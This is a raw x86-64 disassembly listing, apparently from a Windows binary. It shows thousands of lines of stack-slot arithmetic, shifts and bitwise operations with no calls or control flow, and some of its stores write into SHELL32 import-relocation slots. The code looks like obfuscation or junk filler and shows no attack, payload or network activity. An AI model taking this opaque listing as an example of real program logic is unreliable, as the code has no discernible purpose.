mov dword [rsp + 0x6cec], eax
lea rax, [rsp + 0xdb30]
mov qword [rsp + 0xf260], rax
mov rax, qword [rsp + 0xd0b8]
mov rcx, qword [rsp + 0xca28]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd358], rax
lea rax, [rsp + 0x6a60]
mov qword [rsp + 0xf268], rax
mov rax, qword [rsp + 0xce40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xea]
xor eax, ecx
mov byte [0x1402c754b], al
mov rax, qword [0x1402c91a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc238]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1cc], al
movzx eax, word [rsp + 0x1894]
mov rcx, qword [rsp + 0xd840]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x19cc], ax
movzx eax, word [rsp + 0x1b4c]
mov word [rsp + 0x1c40], ax
movsx eax, byte [rsp + 0xd9]
movsx ecx, byte [rsp + 0x197]
or eax, ecx
mov rcx, qword [rsp + 0xeb00]
mov byte [rcx], al
lea rax, [rsp + 0xc160]
mov qword [rsp + 0xf270], rax
mov rax, qword [rsp + 0xbaa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe978]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xce90], rax
mov eax, dword [rsp + 0x6f58]
mov dword [rsp + 0x7020], eax
mov rax, qword [rsp + 0xd538]
mov rcx, qword [rsp + 0xe340]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xd9b8]
mov dword [rcx], eax
movsx eax, word [rsp + 0x1aac]
movsx ecx, word [rsp + 0x1a70]
sub eax, ecx
mov word [0x1402c74d8], ax
movzx eax, byte [0x1402c74d7]
movzx ecx, byte [rsp + 0x102]
sub eax, ecx
mov byte [rsp + 0x19a], al
lea rax, [rsp + 0x1d0]
mov qword [rsp + 0xf278], rax
mov rax, qword [rsp + 0xea50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe450]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1bc8], ax
mov rax, qword [rsp + 0xcb30]
movzx eax, word [rax]
mov word [rsp + 0x1c44], ax
mov eax, dword [rsp + 0x6c60]
mov ecx, dword [rsp + 0x6b78]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd960]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd208]
mov rcx, qword [rsp + 0xe638]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc4a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe608]
mov eax, dword [rax]
mov dword [rsp + 0x7024], eax
mov rax, qword [rsp + 0xe538]
mov rcx, qword [rsp + 0xcfc8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xe718]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x141]
mov rcx, qword [rsp + 0xf078]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1402c9688]
mov byte [rcx], al
mov rax, qword [rsp + 0xc6d8]
movzx eax, byte [rax]
mov byte [rsp + 0x22d], al
movzx eax, word [rsp + 0x1558]
mov rcx, qword [rsp + 0xed58]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xd160]
mov word [rcx], ax
mov rax, qword [rsp + 0xd9c8]
movsx eax, byte [rax]
movsx ecx, byte [0x1402c748a]
imul eax, ecx
mov byte [rsp + 0x88], al
mov rax, qword [rsp + 0xe818]
movzx eax, word [rax]
mov word [rsp + 0x1c48], ax
mov rax, qword [rsp + 0xc7a8]
mov rcx, qword [rsp + 0xe380]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xdb78]
mov qword [rcx], rax
mov eax, dword [0x1402c90a0]
mov dword [rsp + 0x7028], eax
mov rax, qword [rsp + 0xcfe0]
mov rcx, qword [rsp + 0xcc80]
mov qword [rsp + 0xf280], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf280]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xee28], rax
mov eax, dword [rsp + 0x6f7c]
mov ecx, dword [rsp + 0x6ee8]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xedb8]
mov dword [rcx], eax
lea rax, [rsp + 0x1654]
mov qword [0x1402c97a8], rax
mov rax, qword [rsp + 0xcb88]
movzx eax, byte [rax]
mov byte [rsp + 0x22e], al
movzx eax, word [rsp + 0x164c]
mov rcx, qword [rsp + 0xbc10]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xeda0]
mov word [rcx], ax
movzx eax, word [rsp + 0x198c]
mov word [rsp + 0x1c4c], ax
movzx eax, byte [rsp + 0x219]
mov rcx, qword [rsp + 0xc0f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x186], al
lea rax, [rsp + 0xdc38]
mov qword [rsp + 0xf288], rax
mov rax, qword [rsp + 0xf0d8]
mov rcx, qword [rsp + 0xeaa0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd728]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd300]
mov rcx, qword [rsp + 0xe470]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xef20]
mov dword [rcx], eax
lea rax, [rsp + 0x69f4]
mov qword [rsp + 0xf290], rax
lea rax, [rsp + 0x1a2]
mov qword [0x1402c97b0], rax
movzx eax, word [rsp + 0x1754]
mov rcx, qword [rsp + 0xbfd0]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x178c], ax
movzx eax, byte [rsp + 0x177]
mov byte [rsp + 0x22f], al
movzx eax, byte [rsp + 0x5c]
movzx ecx, byte [rsp + 0x201]
sub eax, ecx
mov byte [rsp + 0x1ac], al
mov rax, qword [0x1402c90c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe7d0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xba68]
mov word [rcx], ax
mov rax, qword [rsp + 0xe268]
mov qword [rsp + 0xf298], rax
mov rax, qword [rsp + 0xea18]
mov rcx, qword [rsp + 0xe6d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc300], rax
mov eax, dword [0x1402c90a0]
mov dword [rsp + 0x702c], eax
mov rax, qword [rsp + 0xbe18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7018]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd3f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc6c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1580]
sub eax, ecx
mov rcx, qword [rsp + 0xe708]
mov word [rcx], ax
movzx eax, byte [rsp + 0x166]
mov rcx, qword [rsp + 0xcdd8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402c74d3], al
mov rax, qword [rsp + 0xe280]
movzx eax, word [rax]
mov word [rsp + 0x1c50], ax
movsx eax, byte [rsp + 0xf6]
mov rcx, qword [rsp + 0xecb0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xe3c8]
mov byte [rcx], al
lea rax, [0x1402c9126]
mov qword [rsp + 0xf2a0], rax
mov rax, qword [rsp + 0xf288]
mov rcx, qword [rsp + 0xd270]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xd7f8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6ff8]
mov dword [rsp + 0x7030], eax
mov rax, qword [rsp + 0xe5a8]
mov rax, qword [rax]
mov rcx, qword [0x1402c90a8]
mov qword [rsp + 0xf2a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf2a8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xda40]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6fec]
mov ecx, dword [rsp + 0x6e38]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a48], eax
mov rax, qword [rsp + 0xdcc0]
movzx eax, byte [rax]
mov byte [rsp + 0x230], al
lea rax, [rsp + 0x16c0]
mov qword [0x1402c97b8], rax
mov rax, qword [rsp + 0xe6f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1984]
or eax, ecx
mov rcx, qword [rsp + 0xe710]
mov word [rcx], ax
lea rax, [rsp + 0x1bf4]
mov qword [rsp + 0xf2b0], rax
movzx eax, byte [rsp + 0x15a]
mov rcx, qword [0x1402c93a8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1be], al
mov rax, qword [rsp + 0xcbb8]
mov rcx, qword [rsp + 0xd438]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xd5d0], rax
lea rax, [rsp + 0xe5a0]
mov qword [rsp + 0xf2b8], rax
mov eax, dword [0x1402c7498]
mov ecx, dword [rsp + 0x6978]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b48], eax
mov rax, qword [rsp + 0xce38]
mov eax, dword [rax]
mov dword [rsp + 0x7034], eax
movsx eax, word [rsp + 0x18a0]
mov rcx, qword [rsp + 0xe980]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x15d8], ax
movsx eax, byte [0x1402c749e]
mov rcx, qword [rsp + 0xe788]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [reloc.SHELL32.dll_ILRemoveLastID], al
mov rax, qword [rsp + 0xe9c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xdd08]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xba18]
mov byte [rcx], al
lea rax, [rsp + 0x1d6]
mov qword [rsp + 0xf2c0], rax
movzx eax, word [0x1402c75d0]
movzx ecx, word [rsp + 0x1594]
add eax, ecx
mov word [rsp + 0x1b10], ax
mov rax, qword [rsp + 0xd108]
mov rax, qword [rax]
mov qword [rsp + 0xf2c8], rax
mov rax, qword [rsp + 0xbf58]
mov rcx, qword [rsp + 0xbd48]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xdd78]
mov qword [rcx], rax
mov rax, qword [rsp + 0xeae8]
mov rcx, qword [rsp + 0xea60]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6f60], eax
lea rax, [rsp + 0x68f4]
mov qword [rsp + 0xf2d0], rax
movsx eax, byte [rsp + 0x148]
mov rcx, qword [rsp + 0xc640]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xc3], al
mov rax, qword [rsp + 0xcce0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1990]
xor eax, ecx
mov word [0x1402c7614], ax
lea rax, [rsp + 0x1d3]
mov qword [rsp + 0xf2d8], rax
movzx eax, word [rsp + 0x1994]
mov rcx, qword [0x1402c9170]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xc410]
mov word [rcx], ax
lea rax, [rsp + 0x1894]
mov qword [rsp + 0xf2e0], rax
movsx eax, byte [rsp + 0x73]
movsx ecx, byte [rsp + 0x18b]
shl eax, cl
mov rcx, qword [rsp + 0xde90]
mov byte [rcx], al
mov rax, qword [rsp + 0xcf08]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6bd0]
shr eax, cl
mov rcx, qword [rsp + 0xd0c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd130]
mov eax, dword [rax]
mov dword [rsp + 0x7038], eax
mov rax, qword [rsp + 0xed88]
mov rcx, qword [rsp + 0xda70]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xdb48], rax
mov rax, qword [rsp + 0xcd90]
mov rax, qword [rax]
mov qword [rsp + 0xf2e8], rax
mov rax, qword [0x1402c9138]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1708]
add eax, ecx
mov word [0x1402c75a4], ax
movsx eax, word [rsp + 0x1c04]
movsx ecx, word [rsp + 0x1a24]
sub eax, ecx
mov word [rsp + 0x1ad8], ax
movzx eax, byte [rsp + 0x224]
mov rcx, qword [rsp + 0xd4c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x21e], al
movzx eax, word [rsp + 0x19e8]
mov word [rsp + 0x1c54], ax
mov rax, qword [rsp + 0xd4c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc228]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd180]
mov byte [rcx], al
lea rax, [rsp + 0xcfc0]
mov qword [rsp + 0xf2f0], rax
mov rax, qword [rsp + 0xf178]
mov rcx, qword [rsp + 0xf298]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xee40], rax
mov rax, qword [rsp + 0xdaf0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6fe0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6e1c], eax
mov rax, qword [rsp + 0xbf78]
mov eax, dword [rax]
mov dword [rsp + 0x703c], eax
mov rax, qword [rsp + 0xe890]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd5a8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402c90b0], ax
mov rax, qword [rsp + 0xd040]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x118]
sub eax, ecx
mov rcx, qword [rsp + 0xf200]
mov byte [rcx], al
mov rax, qword [0x1402c94b0]
movzx eax, byte [rax]
mov byte [rsp + 0x231], al
mov rax, qword [rsp + 0xc728]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdfa8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xcef0]
mov word [rcx], ax
lea rax, [rsp + 0x1838]
mov qword [rsp + 0xf2f8], rax
mov rax, qword [rsp + 0xcda8]
mov rcx, qword [rsp + 0xcb48]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6e84], eax
mov rax, qword [rsp + 0xe2e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xeed0]
mov qword [rsp + 0xf300], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf300]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xd1a0], rax
mov rax, qword [rsp + 0xcd38]
mov rax, qword [rax]
mov qword [rsp + 0xf308], rax
mov rax, qword [rsp + 0xbc00]
mov eax, dword [rax]
mov ecx, dword [0x1402c90a0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd548]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbfe8]
movzx eax, byte [rax]
mov byte [0x1402c916b], al
lea rax, [rsp + 0x56]
mov qword [rsp + 0xf310], rax
movsx eax, word [rsp + 0x17d8]
mov rcx, qword [rsp + 0xc658]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xbaf0]
mov word [rcx], ax
movzx eax, word [rsp + 0x195c]
movzx ecx, word [rsp + 0x158c]
and eax, ecx
mov rcx, qword [rsp + 0xbb10]
mov word [rcx], ax
lea rax, [rsp + 0x194]
mov qword [rsp + 0xf318], rax
mov eax, dword [rsp + 0x6c0c]
mov ecx, dword [rsp + 0x6d5c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6f18], eax
mov rax, qword [rsp + 0xcaf0]
mov rax, qword [rax]
mov qword [rsp + 0xf320], rax
mov rax, qword [rsp + 0xcf00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe320]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcfc8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xf090]
mov rcx, qword [rsp + 0xc540]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xd720]
mov dword [rcx], eax
movsx eax, word [rsp + 0x1658]
movsx ecx, word [rsp + 0x165c]
sub eax, ecx
mov rcx, qword [0x1402c9580]
mov word [rcx], ax
mov rax, qword [rsp + 0xe948]
movzx eax, byte [rax]
mov byte [rsp + 0x232], al
movsx eax, byte [rsp + 0x117]
movsx ecx, byte [0x1402c74de]
add eax, ecx
mov byte [rsp + 0x161], al
lea rax, [rsp + 0x19a8]
mov qword [rsp + 0xf328], rax
mov rax, qword [rsp + 0xc5b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c48]
imul eax, ecx
mov rcx, qword [rsp + 0xd610]
mov word [rcx], ax
mov rax, qword [rsp + 0xe790]
mov rcx, qword [rsp + 0xda78]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xd068]
mov qword [rcx], rax
lea rax, [rsp + 0xc8e8]
mov qword [rsp + 0xf330], rax
mov rax, qword [rsp + 0xef78]
mov rcx, qword [rsp + 0xe220]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xf028]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6bd8]
mov dword [rsp + 0x7040], eax
mov rax, qword [rsp + 0xe188]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1a94]
add eax, ecx
mov word [0x1402c7618], ax
mov rax, qword [rsp + 0xe480]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xf1]
sub eax, ecx
mov byte [rsp + 0xf7], al
lea rax, [0x1402c74c2]
mov qword [rsp + 0xf338], rax
movsx eax, word [rsp + 0x1ad8]
mov rcx, qword [rsp + 0xcae0]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xda68]
mov word [rcx], ax
mov rax, qword [rsp + 0xd6d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xda60]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1538], ax
mov rax, qword [0x1402c90a8]
mov rax, qword [rax]
mov qword [rsp + 0xf340], rax
mov rax, qword [rsp + 0xc258]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd428]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xcb58], rax
mov rax, qword [rsp + 0xe6f0]
mov eax, dword [rax]
mov dword [rsp + 0x7044], eax
mov rax, qword [rsp + 0xe8c8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xe180]
mov qword [rsp + 0xf348], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf348]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xd3f0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x12d]
mov rcx, qword [rsp + 0xc368]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1402c754e], al
movzx eax, byte [rsp + 0x192]
mov rcx, qword [rsp + 0xf200]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd1f8]
mov byte [rcx], al
movzx eax, word [rsp + 0x1740]
mov word [rsp + 0x1c58], ax
mov rax, qword [rsp + 0xe670]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xddb0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xebf8]
mov word [rcx], ax
lea rax, [rsp + 0x15d]
mov qword [rsp + 0xf350], rax
mov rax, qword [rsp + 0xc650]
mov rcx, qword [rsp + 0xded8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xd210]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6d6c]
mov ecx, dword [rsp + 0x6d2c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x703c], eax
lea rax, [rsp + 0xc1b0]
mov qword [rsp + 0xf358], rax
mov rax, qword [rsp + 0xd5f8]
mov ecx, dword [rsp + 0x6ac8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6de4], eax
mov rax, qword [rsp + 0xc108]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1968]
sub eax, ecx
mov word [0x1402c75c4], ax
lea rax, [rsp + 0xa2]
mov qword [rsp + 0xf360], rax
mov rax, qword [rsp + 0xd298]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xce40]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x140], al
movsx eax, byte [rsp + 0x1f4]
movsx ecx, byte [rsp + 0x14d]
add eax, ecx
mov rcx, qword [rsp + 0xc318]
mov byte [rcx], al
movzx eax, word [0x1402c967c]
mov word [rsp + 0x1c5c], ax
mov rax, qword [rsp + 0xbca8]
mov rcx, qword [rsp + 0xf048]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xec38], rax
mov eax, dword [rsp + 0x6dbc]
mov dword [rsp + 0x7048], eax
mov rax, qword [rsp + 0xe5c8]
mov ecx, dword [0x1402c7498]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6b60], eax
lea rax, [rsp + 0xec28]
mov qword [rsp + 0xf368], rax
movzx eax, byte [rsp + 0x13f]
movzx ecx, byte [rsp + 0x1cc]
shl eax, cl
mov byte [rsp + 0xaa], al
mov rax, qword [rsp + 0xea50]
movzx eax, word [rax]
mov word [0x1402c97c0], ax
mov rax, qword [0x1402c9310]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc030]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1530], ax
lea rax, [rsp + 0xcf]
mov qword [rsp + 0xf370], rax
movzx eax, byte [rsp + 0x1fe]
movzx ecx, byte [0x1402c90db]
add eax, ecx
mov byte [rsp + 0x15b], al
mov rax, qword [rsp + 0xba00]
mov rax, qword [rax]
mov qword [rsp + 0xf378], rax
mov rax, qword [rsp + 0xef58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd280]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbf50]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6b84]
mov ecx, dword [rsp + 0x6cd0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6bf8], eax
lea rax, [rsp + 0x6e90]
mov qword [rsp + 0xf380], rax
mov rax, qword [rsp + 0xe780]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1604]
add eax, ecx
mov word [rsp + 0x19f4], ax
movzx eax, word [rsp + 0x192c]
mov rcx, qword [0x1402c9188]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1402c7604], ax
mov rax, qword [rsp + 0xcdd8]
movzx eax, byte [rax]
mov byte [rsp + 0x233], al
mov rax, qword [rsp + 0xd620]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x17ec]
sub eax, ecx
mov word [rsp + 0x1720], ax
movsx eax, byte [rsp + 0x14d]
movsx ecx, byte [0x1402c74de]
sub eax, ecx
mov byte [rsp + 0x129], al
lea rax, [rsp + 0xd698]
mov qword [rsp + 0xf388], rax
mov rax, qword [rsp + 0xe758]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6c94]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbad0]
mov dword [rcx], eax
lea rax, [rsp + 0x6c80]
mov qword [rsp + 0xf390], rax
mov rax, qword [rsp + 0xc550]
mov rcx, qword [rsp + 0xc858]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xef30], rax
movzx eax, word [rsp + 0x173c]
mov word [rsp + 0x1c60], ax
movsx eax, word [rsp + 0x1718]
movsx ecx, word [0x1402c75e4]
and eax, ecx
mov rcx, qword [0x1402c93b0]
mov word [rcx], ax
mov rax, qword [rsp + 0xd958]
movsx eax, byte [rax]
imul eax, eax, 0x7a
mov byte [rsp + 0x11e], al
mov rax, qword [rsp + 0xe190]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdf88]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xe218]
mov word [rcx], ax
movzx eax, byte [rsp + 0xdd]
mov byte [rsp + 0x234], al
mov rax, qword [rsp + 0xbd38]
mov ecx, dword [rsp + 0x700c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xe340]
mov dword [rcx], eax
lea rax, [rsp + 0x6dbc]
mov qword [rsp + 0xf398], rax
mov rax, qword [rsp + 0xe8b8]
mov rcx, qword [rsp + 0xe308]
mov qword [rsp + 0xf3a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf3a0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xd998], rax
mov rax, qword [rsp + 0xe8a8]
mov rcx, qword [rsp + 0xcd98]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xe248], rax
mov rax, qword [rsp + 0xce60]
movzx eax, word [rax]
mov word [rsp + 0x1c64], ax
mov rax, qword [rsp + 0xcb88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xf7]
sub eax, ecx
mov byte [0x1402c754f], al
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [rsp + 0xdb90]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x85], al
mov rax, qword [rsp + 0xcad8]
movzx eax, byte [rax]
mov byte [rsp + 0x235], al
mov rax, qword [0x1402c9560]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1a68]
and eax, ecx
mov rcx, qword [rsp + 0xbaf0]
mov word [rcx], ax
movzx eax, word [rsp + 0x1790]
mov rcx, qword [rsp + 0xcbf0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1b8c], ax
mov rax, qword [rsp + 0xc538]
mov qword [rsp + 0xf3a8], rax
mov rax, qword [rsp + 0xbad0]
mov ecx, dword [rsp + 0x702c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6c0c], eax
mov eax, dword [rsp + 0x6c4c]
mov dword [rsp + 0x704c], eax
mov rax, qword [rsp + 0xdda8]
mov rcx, qword [rsp + 0xbb08]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbec8], rax
lea rax, [rsp + 0x18c8]
mov qword [0x1402c97c8], rax
mov rax, qword [rsp + 0xe800]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xcaa0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbc58]
mov byte [rcx], al
lea rax, [rsp + 0x156]
mov qword [rsp + 0xf3b0], rax
mov rax, qword [rsp + 0xc600]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe550]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x191c], ax
movzx eax, byte [rsp + 0x1d6]
mov byte [rsp + 0x236], al
mov rax, qword [rsp + 0xf2f0]
mov rcx, qword [rsp + 0xdc70]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd168], rax
mov eax, dword [rsp + 0x6c98]
mov dword [rsp + 0x7050], eax
mov rax, qword [rsp + 0xec00]
mov rcx, qword [rsp + 0xbed0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc988]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc620]
mov rcx, qword [rsp + 0xd6a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xe9d8]
mov dword [rcx], eax
mov rax, qword [0x1402c92e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1cc]
sar eax, cl
mov rcx, qword [0x1402c9298]
mov byte [rcx], al
mov rax, qword [rsp + 0xd450]
movzx eax, byte [rax]
mov byte [rsp + 0x237], al
movzx eax, word [rsp + 0x1b88]
movzx ecx, word [rsp + 0x1a74]
xor eax, ecx
mov rcx, qword [rsp + 0xef40]
mov word [rcx], ax
mov rax, qword [0x1402c9110]
movzx eax, word [rax]
mov word [rsp + 0x1c68], ax
mov rax, qword [rsp + 0xdb38]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1c4]
shl eax, cl
mov byte [rsp + 0x13b], al
mov rax, qword [rsp + 0xba00]
mov rcx, qword [rsp + 0xdcb8]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xd370]
mov qword [rcx], rax
mov rax, qword [0x1402c90a8]
mov rax, qword [rax]
mov qword [rsp + 0xf3b8], rax
mov rax, qword [rsp + 0xde78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7000]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c5c], eax
lea rax, [rsp + 0x6ea8]
mov qword [rsp + 0xf3c0], rax
mov rax, qword [rsp + 0xc560]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc940]
movzx ecx, word [rcx]
imul eax, ecx
mov word [0x1402c761c], ax
movsx eax, byte [rsp + 0x18b]
mov rcx, qword [rsp + 0xcc68]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbfe8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1b5]
movzx ecx, byte [reloc.SHELL32.dll_ILSaveToStream]
sub eax, ecx
mov rcx, qword [rsp + 0xd040]
mov byte [rcx], al
mov rax, qword [rsp + 0xdfa8]
movzx eax, word [rax]
mov word [rsp + 0x1c6c], ax
movsx eax, word [rsp + 0x1b98]
movsx ecx, word [rsp + 0x1b1c]
and eax, ecx
mov word [rsp + 0x17f4], ax
mov rax, qword [rsp + 0xd238]
mov rax, qword [rax]
mov qword [rsp + 0xf3c8], rax
mov rax, qword [rsp + 0xcbd0]
mov rcx, qword [rsp + 0xd4c0]
mov eax, dword [rax]
imul eax, dword [rcx]
mov rcx, qword [rsp + 0xd340]
mov dword [rcx], eax
lea rax, [rsp + 0x6f70]
mov qword [rsp + 0xf3d0], rax
mov rax, qword [rsp + 0xc550]
mov rcx, qword [rsp + 0xd668]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd458], rax
movzx eax, byte [rsp + 0xc4]
movzx ecx, byte [rsp + 0x75]
add eax, ecx
mov rcx, qword [0x1402c9180]
mov byte [rcx], al
movzx eax, word [rsp + 0x1754]
movzx ecx, word [rsp + 0x1bf8]
sub eax, ecx
